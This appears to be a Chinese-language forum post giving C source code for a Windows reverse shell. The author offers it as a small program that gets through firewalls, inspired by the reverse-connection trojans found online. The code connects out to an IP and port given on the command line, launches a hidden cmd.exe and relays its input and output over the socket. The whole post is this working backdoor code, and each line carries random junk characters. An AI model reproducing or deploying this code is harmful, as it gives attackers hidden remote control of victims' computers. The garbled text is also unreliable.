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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o>&pj  
PB BJ.!Pb  
/* ============================== CU*;>h1~u  
Rebound port in Windows NT } ,Dk6w$  
By wind,2006/7 9Gx`[{wI9<  
===============================*/ ['iEw!  
#include x[+bLlb  
#include i2[8^o`_  
,&* BhUC  
#pragma comment(lib,"wsock32.lib") E2`9H-6e  
{aK3'-7  
void OutputShell(); )}_}D +2  
SOCKET sClient; q$ j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A\E ))b9+  
#~w~k+E4  
void main(int argc,char **argv) ol {N^fi K  
{ k!6m'}v  
WSADATA stWsaData; l!\~T"-7;:  
int nRet; mGF)Ot R  
SOCKADDR_IN stSaiClient,stSaiServer; h^14/L=|  
W58%Zz4a  
if(argc != 3) A ;|P\V  
{ 0| =y#`;,Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); IfI:|w}:"r  
return; 8&qtF.i-6  
} oBo |eRIt|  
x7jFYC  
WSAStartup(MAKEWORD(2,2),&stWsaData); vuJEPn%  
AOV{@ b(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _?I*:: I  
#)S&Z><<  
stSaiClient.sin_family = AF_INET; 7lwFxP5QT  
stSaiClient.sin_port = htons(0); ) <w`:wD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XSh [#qJ  
&W `7 b<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]z# Ita;  
{ ''z]o#=^9  
printf("Bind Socket Failed!\n"); /paZJ}Pr.  
return; sEL0h4  
} |fgh ryI,  
#hXvGon$?  
stSaiServer.sin_family = AF_INET; pXA |'U5]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $uRi/%Q9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $}us+hGZ  
l$R9c+L=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3&+nV1  
{ #|=lU4Bf  
printf("Connect Error!"); 'Ddzlip  
return; hyhm{RC?[  
} 6 Pdao{P  
OutputShell(); q{f (T\  
} rD !GEU  
'cc{sjG  
void OutputShell() Np$ue }yr  
{ GsiKL4|mj  
char szBuff[1024]; h1f 05  
SECURITY_ATTRIBUTES stSecurityAttributes; HoeW6UV  
OSVERSIONINFO stOsversionInfo; T;S6<J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]kO|kIs  
STARTUPINFO stStartupInfo; :1]J{,VG  
char *szShell; 1vJj?Uqc  
PROCESS_INFORMATION stProcessInformation; |PGTP#O<  
unsigned long lBytesRead; BV}sN{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WfTl\Dxw  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z4gn7 'V  
stSecurityAttributes.lpSecurityDescriptor = 0; *|;`Gp  
stSecurityAttributes.bInheritHandle = TRUE; 0 c,!<\B  
K\mFb  
y!q`o$nK  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Dg}EI^ d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $IdU  
eIhfhz?Q;#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3'SN0VL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,TYFPulYcp  
stStartupInfo.wShowWindow = SW_HIDE; M.EL^;r  
stStartupInfo.hStdInput = hReadPipe; nD!t*P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K@:t6  
8cURYg6v  
GetVersionEx(&stOsversionInfo); ]A1'+!1$  
u4 ~.[3E*  
switch(stOsversionInfo.dwPlatformId) kD)]\   
{ =&DuQvN,  
case 1: sJ5#T iX  
szShell = "command.com"; s;sr(34  
break; 15Jc PDV  
default: >?ec"P%vS/  
szShell = "cmd.exe"; J'k^(ZZ  
break; 8VC%4+.FF  
} sNMF(TY  
S?c<Lf~W  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f=7[GZoDn  
,8!'jE[d  
send(sClient,szMsg,77,0); NR%_&%qQA  
while(1) S/YHT)0x[  
{ \zOsq5}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !lM.1gTTC  
if(lBytesRead) [Ov/&jD"  
{ :0bjPQj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z$M-UxY  
send(sClient,szBuff,lBytesRead,0); 4`Jf_C  
} J]Rh+@r.  
else lfr^NxOU  
{ m SO7r F  
lBytesRead=recv(sClient,szBuff,1024,0); sG^{ cn  
if(lBytesRead<=0) break; C@pn4[jTl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 19%zcYTe  
} C3 BoH&  
} {j4&'=C:  
JcfGe4  
return; !:}m-iqQ1  
}
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